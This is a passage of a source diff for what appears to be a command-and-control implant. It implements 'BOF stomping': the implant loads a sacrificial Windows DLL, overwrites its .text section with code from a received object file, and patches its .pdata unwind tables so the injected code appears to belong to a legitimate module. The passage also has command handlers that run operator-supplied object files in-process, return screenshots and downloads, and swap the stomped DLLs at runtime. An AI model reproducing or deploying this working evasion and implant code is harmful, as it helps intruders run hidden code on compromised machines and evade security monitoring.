||||
Nax->BofStompPool.SmSlot.DllBase,
|
||||
Nax->BofStompPool.SmSlot.TextBase,
|
||||
Nax->BofStompPool.SmSlot.TextCap );
|
||||
}
|
||||
|
||||
Nax->BofStompPool.Initialized = TRUE;
|
||||
NaxDbg( Nax, "[bof-stomp] init done: sync=%p async=%d/%d sm=%p",
|
||||
Nax->BofStompPool.SyncSlot.DllBase, Nax->BofStompPool.AsyncCount, count,
|
||||
Nax->BofStompPool.SmSlot.DllBase );
|
||||
}
|
||||
|
||||
/* ========= [ alloc ] ========= */
|
||||
|
||||
FUNC BOOL NaxBofStompAlloc( PNAX_INSTANCE Nax, PBYTE bof, PCOF_HEADER hdr,
|
||||
PCOF_SECTION sections, PVOID* mapSections,
|
||||
PVOID* mf_out ) {
|
||||
if ( !Nax->Config.BofStomp || !Nax->BofStompPool.Initialized )
|
||||
return FALSE;
|
||||
|
||||
/* Find the .text section index in the COFF */
|
||||
INT textIdx = -1;
|
||||
UINT32 textNeed = 0;
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
PCOF_SECTION s = sections + i;
|
||||
if ( s->Name[0] == '.' && s->Name[1] == 't' &&
|
||||
s->Name[2] == 'e' && s->Name[3] == 'x' &&
|
||||
s->Name[4] == 't' ) {
|
||||
textIdx = (INT)i;
|
||||
textNeed = s->SizeOfRawData;
|
||||
if ( textNeed == 0 ) textNeed = s->VirtualSize;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ( textIdx < 0 || textNeed == 0 )
|
||||
return FALSE;
|
||||
|
||||
/* Pick a slot: SmSlot (resident BOF), sync (CurrentJob==NULL), or async */
|
||||
BOF_STOMP_SLOT* slot = NULL;
|
||||
BYTE slotIdx = 0xFF;
|
||||
|
||||
if ( Nax->BofStompPool.SmStompReq ) {
|
||||
if ( Nax->BofStompPool.SmSlot.DllBase && !Nax->BofStompPool.SmSlot.InUse &&
|
||||
textNeed <= Nax->BofStompPool.SmSlot.TextCap ) {
|
||||
slot = &Nax->BofStompPool.SmSlot;
|
||||
slotIdx = 0xFE;
|
||||
}
|
||||
} else if ( Nax->CurrentJob == NULL ) {
|
||||
if ( Nax->BofStompPool.SyncSlot.DllBase && !Nax->BofStompPool.SyncSlot.InUse &&
|
||||
textNeed <= Nax->BofStompPool.SyncSlot.TextCap ) {
|
||||
slot = &Nax->BofStompPool.SyncSlot;
|
||||
slotIdx = 0xFF;
|
||||
}
|
||||
} else {
|
||||
for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) {
|
||||
BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i];
|
||||
if ( s->DllBase && !s->InUse && textNeed <= s->TextCap ) {
|
||||
slot = s;
|
||||
slotIdx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( !slot ) {
|
||||
NaxDbg( Nax, "[bof-stomp] no slot available (need=%u) -> fallback", textNeed );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Stomp .text into DLL's .text section */
|
||||
DWORD old = 0;
|
||||
if ( !Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &old ) ) {
|
||||
NaxDbg( Nax, "[bof-stomp] VirtualProtect RW failed" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
MmZero( slot->TextBase, slot->TextCap );
|
||||
PCOF_SECTION textSec = sections + textIdx;
|
||||
if ( textSec->PointerToRawData && textSec->SizeOfRawData )
|
||||
MmCopy( slot->TextBase, bof + textSec->PointerToRawData, textSec->SizeOfRawData );
|
||||
mapSections[ textIdx ] = slot->TextBase;
|
||||
|
||||
/* Allocate non-.text sections NEAR the DLL (within ±2 GB for REL32) */
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( (INT)i == textIdx ) continue;
|
||||
PCOF_SECTION s = sections + i;
|
||||
|
||||
UINT32 raw_size = s->SizeOfRawData;
|
||||
UINT32 virt_size = s->VirtualSize;
|
||||
UINT32 need = ( raw_size > 0 ) ? raw_size : virt_size;
|
||||
if ( need == 0 ) { mapSections[i] = NULL; continue; }
|
||||
|
||||
PVOID base = StompAllocNear( Nax, slot, (SIZE_T)need + 16, PAGE_READWRITE );
|
||||
if ( !base ) {
|
||||
NaxDbg( Nax, "[bof-stomp] near-alloc failed sec[%d]", (INT)i );
|
||||
for ( UINT16 j = 0; j < i; j++ ) {
|
||||
if ( (INT)j != textIdx && mapSections[j] ) {
|
||||
PVOID b = mapSections[j]; SIZE_T sz = 0;
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE );
|
||||
mapSections[j] = NULL;
|
||||
}
|
||||
}
|
||||
mapSections[textIdx] = NULL;
|
||||
if ( slot->TextBackup )
|
||||
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
|
||||
else
|
||||
MmZero( slot->TextBase, slot->TextCap );
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
mapSections[i] = base;
|
||||
if ( s->PointerToRawData && raw_size )
|
||||
MmCopy( base, bof + s->PointerToRawData, raw_size );
|
||||
}
|
||||
|
||||
/* Allocate mapFunctions near the DLL */
|
||||
PVOID mf = StompAllocNear( Nax, slot, 4096, PAGE_READWRITE );
|
||||
if ( !mf ) {
|
||||
NaxDbg( Nax, "[bof-stomp] mapFunctions near-alloc failed" );
|
||||
for ( UINT16 j = 0; j < hdr->NumberOfSections && j < BOF_MAX_SECTIONS; j++ ) {
|
||||
if ( (INT)j != textIdx && mapSections[j] ) {
|
||||
PVOID b = mapSections[j]; SIZE_T sz = 0;
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE );
|
||||
mapSections[j] = NULL;
|
||||
}
|
||||
}
|
||||
mapSections[textIdx] = NULL;
|
||||
if ( slot->TextBackup )
|
||||
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
|
||||
else
|
||||
MmZero( slot->TextBase, slot->TextCap );
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
|
||||
return FALSE;
|
||||
}
|
||||
MmZero( mf, 4096 );
|
||||
*mf_out = mf;
|
||||
|
||||
/* Zero .pdata so dynamic RtlAddFunctionTable entries take priority */
|
||||
if ( slot->PdataBase && slot->PdataSize ) {
|
||||
DWORD pdOld = 0;
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld );
|
||||
MmZero( slot->PdataBase, slot->PdataSize );
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld );
|
||||
}
|
||||
|
||||
slot->InUse = TRUE;
|
||||
if ( Nax->CurrentJob )
|
||||
Nax->CurrentJob->StompSlotIdx = slotIdx;
|
||||
|
||||
NaxDbg( Nax, "[bof-stomp] alloc OK: .text=%p mf=%p (slot=%d, need=%u cap=%u)",
|
||||
slot->TextBase, mf, (INT)slotIdx, textNeed, slot->TextCap );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* Called after relocations to set final protections:
|
||||
* .text in DLL -> PAGE_EXECUTE_READ; private sections stay PAGE_READWRITE. */
|
||||
FUNC VOID NaxBofStompProtect( PNAX_INSTANCE Nax, PVOID* mapSections, UINT16 numSections,
|
||||
PCOF_SECTION sections ) {
|
||||
BOF_STOMP_SLOT* slot = NULL;
|
||||
if ( Nax->BofStompPool.SmStompReq )
|
||||
slot = &Nax->BofStompPool.SmSlot;
|
||||
else if ( Nax->CurrentJob == NULL )
|
||||
slot = &Nax->BofStompPool.SyncSlot;
|
||||
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
|
||||
slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
|
||||
|
||||
if ( !slot ) return;
|
||||
|
||||
DWORD old = 0;
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
|
||||
NaxDbg( Nax, "[bof-stomp] .text -> RX" );
|
||||
}
|
||||
|
||||
/* ========= [ inject .pdata into DLL ] ========= */
|
||||
|
||||
/* Write the BOF's relocated RUNTIME_FUNCTION entries directly into the DLL's
|
||||
* .pdata section and copy the corresponding xdata (UNWIND_INFO) into the tail
|
||||
* of the DLL's .text section. The IFT already covers .pdata, so the unwinder
|
||||
* finds our entries without RtlAddFunctionTable.
|
||||
*
|
||||
* xdata is placed at the END of .text (after the BOF code). This keeps
|
||||
* UnwindData RVAs within the DLL image even when the near-allocator placed the
|
||||
* original xdata section before DllBase.
|
||||
*
|
||||
* Caller must invoke this while .text is still PAGE_READWRITE. */
|
||||
FUNC BOOL NaxBofStompPdata( PNAX_INSTANCE Nax, PRUNTIME_FUNCTION src, DWORD srcCount,
|
||||
ULONG_PTR image_base, PVOID xdataBase, ULONG xdataSize ) {
|
||||
BOF_STOMP_SLOT* slot = NULL;
|
||||
if ( Nax->BofStompPool.SmStompReq )
|
||||
slot = &Nax->BofStompPool.SmSlot;
|
||||
else if ( Nax->CurrentJob == NULL )
|
||||
slot = &Nax->BofStompPool.SyncSlot;
|
||||
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
|
||||
slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
|
||||
|
||||
if ( !slot || !slot->PdataBase || !slot->PdataSize )
|
||||
return FALSE;
|
||||
|
||||
if ( !xdataBase || xdataSize == 0 )
|
||||
return FALSE;
|
||||
|
||||
/* Place xdata copy at the tail of the DLL's .text (4-byte aligned).
|
||||
* Typical .text is several MB, xdata is a few hundred bytes. */
|
||||
ULONG xdataAligned = ( xdataSize + 3 ) & ~3u;
|
||||
if ( xdataAligned > slot->TextCap )
|
||||
return FALSE;
|
||||
|
||||
ULONG xdataOff = slot->TextCap - xdataAligned;
|
||||
PBYTE xdataDst = (PBYTE)slot->TextBase + xdataOff;
|
||||
|
||||
MmCopy( xdataDst, xdataBase, xdataSize );
|
||||
|
||||
DWORD iftCount = slot->PdataSize / sizeof( RUNTIME_FUNCTION );
|
||||
if ( srcCount == 0 || srcCount > iftCount )
|
||||
return FALSE;
|
||||
|
||||
DWORD startIdx = iftCount - srcCount;
|
||||
PRUNTIME_FUNCTION dst = (PRUNTIME_FUNCTION)slot->PdataBase;
|
||||
|
||||
DWORD pdOld = 0;
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld );
|
||||
|
||||
/* BeginAddress/EndAddress: .text is within the DLL, so ULONG wrapping on
|
||||
* (image_base - DllBase) produces correct RVAs even when image_base < DllBase. */
|
||||
ULONG adj = (ULONG)( image_base - (ULONG_PTR)slot->DllBase );
|
||||
|
||||
for ( DWORD i = 0; i < srcCount; i++ ) {
|
||||
dst[ startIdx + i ].BeginAddress = src[i].BeginAddress + adj;
|
||||
dst[ startIdx + i ].EndAddress = src[i].EndAddress + adj;
|
||||
|
||||
/* UnwindData: recompute to point at the xdata copy in .text. */
|
||||
ULONG_PTR origVA = image_base + src[i].UnwindData;
|
||||
ULONG_PTR internalOff = origVA - (ULONG_PTR)xdataBase;
|
||||
dst[ startIdx + i ].UnwindData = (ULONG)( (ULONG_PTR)xdataDst + internalOff
|
||||
- (ULONG_PTR)slot->DllBase );
|
||||
}
|
||||
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld );
|
||||
|
||||
NaxDbg( Nax, "[bof-stomp] .pdata injected: %u entries at [%u..%u] adj=0x%x xdata@.text+0x%x",
|
||||
srcCount, startIdx, startIdx + srcCount - 1, adj, xdataOff );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* ========= [ free ] ========= */
|
||||
|
||||
FUNC VOID NaxBofStompFree( PNAX_INSTANCE Nax, PVOID* mapSections, UINT16 numSections ) {
|
||||
BOF_STOMP_SLOT* slot = NULL;
|
||||
if ( Nax->BofStompPool.SmStompReq )
|
||||
slot = &Nax->BofStompPool.SmSlot;
|
||||
else if ( Nax->CurrentJob == NULL )
|
||||
slot = &Nax->BofStompPool.SyncSlot;
|
||||
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
|
||||
slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
|
||||
|
||||
if ( !slot || !slot->InUse ) return;
|
||||
|
||||
/* Restore original DLL .text content */
|
||||
DWORD old = 0;
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &old );
|
||||
if ( slot->TextBackup )
|
||||
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
|
||||
else
|
||||
MmZero( slot->TextBase, slot->TextCap );
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
|
||||
|
||||
/* Restore original .pdata content */
|
||||
if ( slot->PdataBase && slot->PdataSize && slot->PdataBackup ) {
|
||||
DWORD pdOld = 0;
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld );
|
||||
MmCopy( slot->PdataBase, slot->PdataBackup, slot->PdataSize );
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld );
|
||||
}
|
||||
|
||||
/* Free private sections (non-.text) */
|
||||
for ( UINT16 i = 0; i < numSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( mapSections[i] && mapSections[i] != slot->TextBase ) {
|
||||
PVOID base = mapSections[i];
|
||||
SIZE_T sz = 0;
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &base, &sz, MEM_RELEASE );
|
||||
}
|
||||
mapSections[i] = NULL;
|
||||
}
|
||||
|
||||
slot->InUse = FALSE;
|
||||
NaxDbg( Nax, "[bof-stomp] free: slot released" );
|
||||
}
|
||||
|
||||
/* ========= [ active check ] ========= */
|
||||
|
||||
FUNC BOOL NaxBofStompActive( PNAX_INSTANCE Nax ) {
|
||||
return Nax->BofStompPool.Initialized && Nax->Config.BofStomp;
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
/* beacon/src/Commands/Bof.c
|
||||
* CMD_BOF (0x20) - receive COFF object file + packed args, execute in-process.
|
||||
*
|
||||
* Task args wire format (v2 - async support):
|
||||
* async_flag(1) | timeout_secs(4LE) | bof_size(4LE) | bof_bytes | user_args_size(4LE) | user_args
|
||||
*
|
||||
* Result format (compound - supports text + multiple media per BOF):
|
||||
* [media_entry]...[0x00][text_len(4LE)][text]
|
||||
*
|
||||
* Each media entry is type-tagged:
|
||||
* 0x81: [0x81][note_len(4)][note][img_len(4)][img] (screenshot)
|
||||
* 0x82: [0x82][name_len(4)][name][data_len(4)][data] (download)
|
||||
*
|
||||
* If the BOF produced only text (no media), the result is raw text bytes
|
||||
* with no prefix tag - backwards compatible with the old format. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Common.h"
|
||||
#include "Bof.h"
|
||||
|
||||
/* Write 4-byte LE integer */
|
||||
static VOID BofW32( PBYTE p, UINT32 v ) {
|
||||
p[0] = (BYTE)v; p[1] = (BYTE)( v >> 8 ); p[2] = (BYTE)( v >> 16 ); p[3] = (BYTE)( v >> 24 );
|
||||
}
|
||||
|
||||
/* Reverse a singly-linked list (media entries are prepended; reverse for FIFO order). */
|
||||
static NAX_BOF_MEDIA* BofReverseMedia( NAX_BOF_MEDIA* head ) {
|
||||
NAX_BOF_MEDIA* prev = NULL;
|
||||
while ( head ) {
|
||||
NAX_BOF_MEDIA* next = head->Next;
|
||||
head->Next = prev;
|
||||
prev = head;
|
||||
head = next;
|
||||
}
|
||||
return prev;
|
||||
}
|
||||
|
||||
FUNC INT NaxCmdBof( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 13 || args == NULL ) return NAX_ERR_INVAL;
|
||||
|
||||
/* ---- parse v2 prefix ---- */
|
||||
BYTE asyncFlag = args[0];
|
||||
UINT32 timeoutSecs = NaxR32( args + 1 );
|
||||
PBYTE bofArgs = args + 5;
|
||||
UINT32 bofArgsLen = args_len - 5;
|
||||
|
||||
/* ---- parse COFF + user args ---- */
|
||||
if ( bofArgsLen < 8 ) return NAX_ERR_INVAL;
|
||||
UINT32 bof_size = NaxR32( bofArgs );
|
||||
if ( 4u + bof_size + 4u > bofArgsLen ) return NAX_ERR_WIRE;
|
||||
|
||||
PBYTE bof_data = bofArgs + 4;
|
||||
UINT32 user_args_size = NaxR32( bofArgs + 4 + bof_size );
|
||||
PBYTE user_args = bofArgs + 4 + bof_size + 4;
|
||||
|
||||
if ( 4u + bof_size + 4u + user_args_size > bofArgsLen ) return NAX_ERR_WIRE;
|
||||
|
||||
/* ---- async path ---- */
|
||||
if ( asyncFlag ) {
|
||||
DWORD timeoutMs = timeoutSecs ? timeoutSecs * 1000u : 0;
|
||||
NAX_JOB* job = NaxJobCreate( Nax, taskId, bof_data, bof_size, user_args, user_args_size, timeoutMs );
|
||||
if ( !job ) return NAX_ERR_NOMEM;
|
||||
|
||||
INT rc = NaxJobStart( Nax, job );
|
||||
if ( rc != NAX_OK ) {
|
||||
*out_len = 0;
|
||||
return rc;
|
||||
}
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_STATUS_ASYNC;
|
||||
}
|
||||
|
||||
/* ---- sync path (existing logic) ---- */
|
||||
PBYTE out_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, BOF_OUTPUT_CAP );
|
||||
if ( !out_buf ) return NAX_ERR_NOMEM;
|
||||
|
||||
Nax->BofCtx.Buf = out_buf;
|
||||
Nax->BofCtx.Len = 0;
|
||||
Nax->BofCtx.Cap = BOF_OUTPUT_CAP;
|
||||
Nax->BofCtx.MediaHead = NULL;
|
||||
|
||||
INT ret = NaxBofExecute( Nax, bof_data, bof_size, user_args, user_args_size );
|
||||
|
||||
BOOL has_text = ( Nax->BofCtx.Len > 0 );
|
||||
BOOL has_media = ( Nax->BofCtx.MediaHead != NULL );
|
||||
|
||||
/* Prepend 2-byte stomp metadata: [status][slot_idx] */
|
||||
UINT32 off = 0;
|
||||
if ( off + 2 <= *out_len ) {
|
||||
out[ off++ ] = Nax->BofCtx.Stomped;
|
||||
out[ off++ ] = Nax->BofCtx.StompSlot;
|
||||
}
|
||||
|
||||
if ( has_media ) {
|
||||
Nax->BofCtx.MediaHead = BofReverseMedia( Nax->BofCtx.MediaHead );
|
||||
|
||||
for ( NAX_BOF_MEDIA* m = Nax->BofCtx.MediaHead; m; m = m->Next ) {
|
||||
if ( off + m->Len <= *out_len ) {
|
||||
MmCopy( out + off, m->Data, m->Len );
|
||||
off += m->Len;
|
||||
}
|
||||
}
|
||||
|
||||
if ( has_text && off + 5u + Nax->BofCtx.Len <= *out_len ) {
|
||||
out[ off ] = 0x00;
|
||||
BofW32( out + off + 1, Nax->BofCtx.Len );
|
||||
MmCopy( out + off + 5, out_buf, Nax->BofCtx.Len );
|
||||
off += 5u + Nax->BofCtx.Len;
|
||||
}
|
||||
*out_len = off;
|
||||
} else if ( has_text ) {
|
||||
UINT32 copy = ( Nax->BofCtx.Len < *out_len - off ) ? Nax->BofCtx.Len : *out_len - off;
|
||||
MmCopy( out + off, out_buf, copy );
|
||||
*out_len = off + copy;
|
||||
} else {
|
||||
*out_len = off;
|
||||
}
|
||||
|
||||
NAX_BOF_MEDIA* m = Nax->BofCtx.MediaHead;
|
||||
while ( m ) {
|
||||
NAX_BOF_MEDIA* next = m->Next;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, m->Data );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, m );
|
||||
m = next;
|
||||
}
|
||||
Nax->BofCtx.MediaHead = NULL;
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, out_buf );
|
||||
Nax->BofCtx.Buf = NULL;
|
||||
Nax->BofCtx.Len = 0;
|
||||
Nax->BofCtx.Cap = 0;
|
||||
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,283 @@
|
||||
/* beacon/src/Commands/BofStomp.c
|
||||
* CMD_BOF_STOMP (0x31) - runtime reconfiguration of BOF module stomping.
|
||||
*
|
||||
* Wire format: sub_cmd(1) | data...
|
||||
* 0x00 (sync): wchar_len(4LE) | wchar_bytes | flags(1)
|
||||
* 0x01 (async): count(1) | [wchar_len(4LE) | wchar_bytes]... | flags(1)
|
||||
* 0x02 (show): (empty)
|
||||
* 0x03 (sm): wchar_len(4LE) | wchar_bytes | flags(1)
|
||||
*
|
||||
* flags bit 0: unload old DLL (1) vs restore original bytes (0, default)
|
||||
*
|
||||
* Response: UTF-8 text describing what happened. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "LdrFlags.h"
|
||||
|
||||
/* ========= [ helpers ] ========= */
|
||||
|
||||
static VOID CleanupSlot( PNAX_INSTANCE Nax, BOF_STOMP_SLOT* slot, BOOL unload ) {
|
||||
if ( !slot->DllBase ) return;
|
||||
|
||||
if ( !unload ) {
|
||||
DWORD oldProt;
|
||||
if ( slot->TextBackup && slot->TextBase ) {
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &oldProt );
|
||||
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
|
||||
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &oldProt );
|
||||
}
|
||||
if ( slot->PdataBackup && slot->PdataBase ) {
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &oldProt );
|
||||
MmCopy( slot->PdataBase, slot->PdataBackup, slot->PdataSize );
|
||||
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READONLY, &oldProt );
|
||||
}
|
||||
}
|
||||
|
||||
if ( slot->TextBackup )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, slot->TextBackup );
|
||||
if ( slot->PdataBackup )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, slot->PdataBackup );
|
||||
|
||||
if ( unload )
|
||||
Nax->Kernel32.FreeLibrary( (HMODULE)slot->DllBase );
|
||||
|
||||
MmZero( slot, sizeof( BOF_STOMP_SLOT ) );
|
||||
}
|
||||
|
||||
static BOOL ReloadSlot( PNAX_INSTANCE Nax, PWCHAR dllName, BOF_STOMP_SLOT* slot, BOOL unload ) {
|
||||
CleanupSlot( Nax, slot, unload );
|
||||
|
||||
HMODULE hDll = Nax->Kernel32.LoadLibraryExW( dllName, NULL, DONT_RESOLVE_DLL_REFERENCES );
|
||||
if ( !hDll ) return FALSE;
|
||||
|
||||
slot->DllBase = (PVOID)hDll;
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)hDll + dos->e_lfanew );
|
||||
slot->Nt = nt;
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( nt );
|
||||
for ( UINT16 i = 0; i < nt->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
|
||||
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
|
||||
sec[i].Name[4] == 't' ) {
|
||||
slot->TextBase = (PVOID)( (PBYTE)hDll + sec[i].VirtualAddress );
|
||||
slot->TextCap = sec[i].SizeOfRawData;
|
||||
if ( slot->TextCap == 0 ) slot->TextCap = sec[i].Misc.VirtualSize;
|
||||
slot->InUse = FALSE;
|
||||
|
||||
slot->TextBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, slot->TextCap );
|
||||
if ( slot->TextBackup )
|
||||
MmCopy( slot->TextBackup, slot->TextBase, slot->TextCap );
|
||||
|
||||
PIMAGE_DATA_DIRECTORY exDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
||||
if ( exDir->VirtualAddress && exDir->Size ) {
|
||||
slot->PdataBase = (PVOID)( (PBYTE)hDll + exDir->VirtualAddress );
|
||||
slot->PdataSize = exDir->Size;
|
||||
slot->PdataBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, exDir->Size );
|
||||
if ( slot->PdataBackup )
|
||||
MmCopy( slot->PdataBackup, slot->PdataBase, exDir->Size );
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
Nax->Kernel32.FreeLibrary( hDll );
|
||||
MmZero( slot, sizeof( BOF_STOMP_SLOT ) );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* ========= [ command handler ] ========= */
|
||||
|
||||
FUNC INT NaxCmdBofStomp( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 1 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 cap = *out_len;
|
||||
UINT32 off = 0;
|
||||
BYTE subCmd = args[0];
|
||||
|
||||
switch ( subCmd ) {
|
||||
|
||||
/* ---- sync: replace sync DLL ---- */
|
||||
case 0x00: {
|
||||
if ( args_len < 5 ) return NAX_ERR_INVAL;
|
||||
UINT32 wlen = NaxR32( args + 1 );
|
||||
if ( 5 + wlen > args_len ) return NAX_ERR_WIRE;
|
||||
|
||||
PWCHAR name = (PWCHAR)( args + 5 );
|
||||
UINT32 nchars = wlen / sizeof( WCHAR );
|
||||
if ( nchars == 0 || nchars >= 64 ) return NAX_ERR_INVAL;
|
||||
|
||||
BOOL unload = ( 5 + wlen + 1 <= args_len ) ? ( args[5 + wlen] & 0x01 ) : FALSE;
|
||||
|
||||
WCHAR buf[64]; MmZero( buf, sizeof( buf ) );
|
||||
MmCopy( buf, name, nchars * sizeof( WCHAR ) );
|
||||
|
||||
BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.SyncSlot, unload );
|
||||
if ( ok ) {
|
||||
MmZero( Nax->Config.BofSyncDll, sizeof( Nax->Config.BofSyncDll ) );
|
||||
MmCopy( Nax->Config.BofSyncDll, buf, nchars * sizeof( WCHAR ) );
|
||||
}
|
||||
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, ok ? "sync DLL updated: " : "sync DLL reload FAILED: " );
|
||||
off = NaxAppendWStr((PCHAR)out, off, cap, buf );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded)" : " (old restored)" );
|
||||
break;
|
||||
}
|
||||
|
||||
/* ---- async: replace async DLL pool ---- */
|
||||
case 0x01: {
|
||||
if ( args_len < 2 ) return NAX_ERR_INVAL;
|
||||
BYTE count = args[1];
|
||||
if ( count > BOF_STOMP_ASYNC_MAX ) count = BOF_STOMP_ASYNC_MAX;
|
||||
|
||||
/* Scan ahead to find trailing flags byte after all DLL entries */
|
||||
UINT32 scan = 2;
|
||||
for ( BYTE i = 0; i < count && scan + 4 <= args_len; i++ ) {
|
||||
UINT32 wl = NaxR32( args + scan ); scan += 4;
|
||||
scan += wl;
|
||||
}
|
||||
BOOL unload = ( scan < args_len ) ? ( args[scan] & 0x01 ) : FALSE;
|
||||
|
||||
/* Clean up existing async DLLs */
|
||||
for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) {
|
||||
BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i];
|
||||
if ( s->DllBase && !s->InUse )
|
||||
CleanupSlot( Nax, s, unload );
|
||||
}
|
||||
Nax->BofStompPool.AsyncCount = 0;
|
||||
Nax->Config.BofAsyncCount = 0;
|
||||
|
||||
/* Load new set */
|
||||
UINT32 p = 2;
|
||||
BYTE loaded = 0;
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "async pool updated" );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded):\n" : " (old restored):\n" );
|
||||
|
||||
for ( BYTE i = 0; i < count && p + 4 <= args_len; i++ ) {
|
||||
UINT32 wlen = NaxR32( args + p ); p += 4;
|
||||
if ( p + wlen > args_len ) break;
|
||||
|
||||
PWCHAR wname = (PWCHAR)( args + p );
|
||||
UINT32 nchars = wlen / sizeof( WCHAR );
|
||||
p += wlen;
|
||||
if ( nchars == 0 || nchars >= 64 ) continue;
|
||||
|
||||
WCHAR buf[64]; MmZero( buf, sizeof( buf ) );
|
||||
MmCopy( buf, wname, nchars * sizeof( WCHAR ) );
|
||||
|
||||
BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.AsyncSlots[loaded], FALSE );
|
||||
if ( ok ) {
|
||||
MmZero( Nax->Config.BofAsyncDlls[loaded], sizeof( Nax->Config.BofAsyncDlls[loaded] ) );
|
||||
MmCopy( Nax->Config.BofAsyncDlls[loaded], buf, nchars * sizeof( WCHAR ) );
|
||||
loaded++;
|
||||
}
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " " );
|
||||
off = NaxAppendWStr((PCHAR)out, off, cap, buf );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, ok ? " -> OK\n" : " -> FAILED\n" );
|
||||
}
|
||||
|
||||
Nax->BofStompPool.AsyncCount = loaded;
|
||||
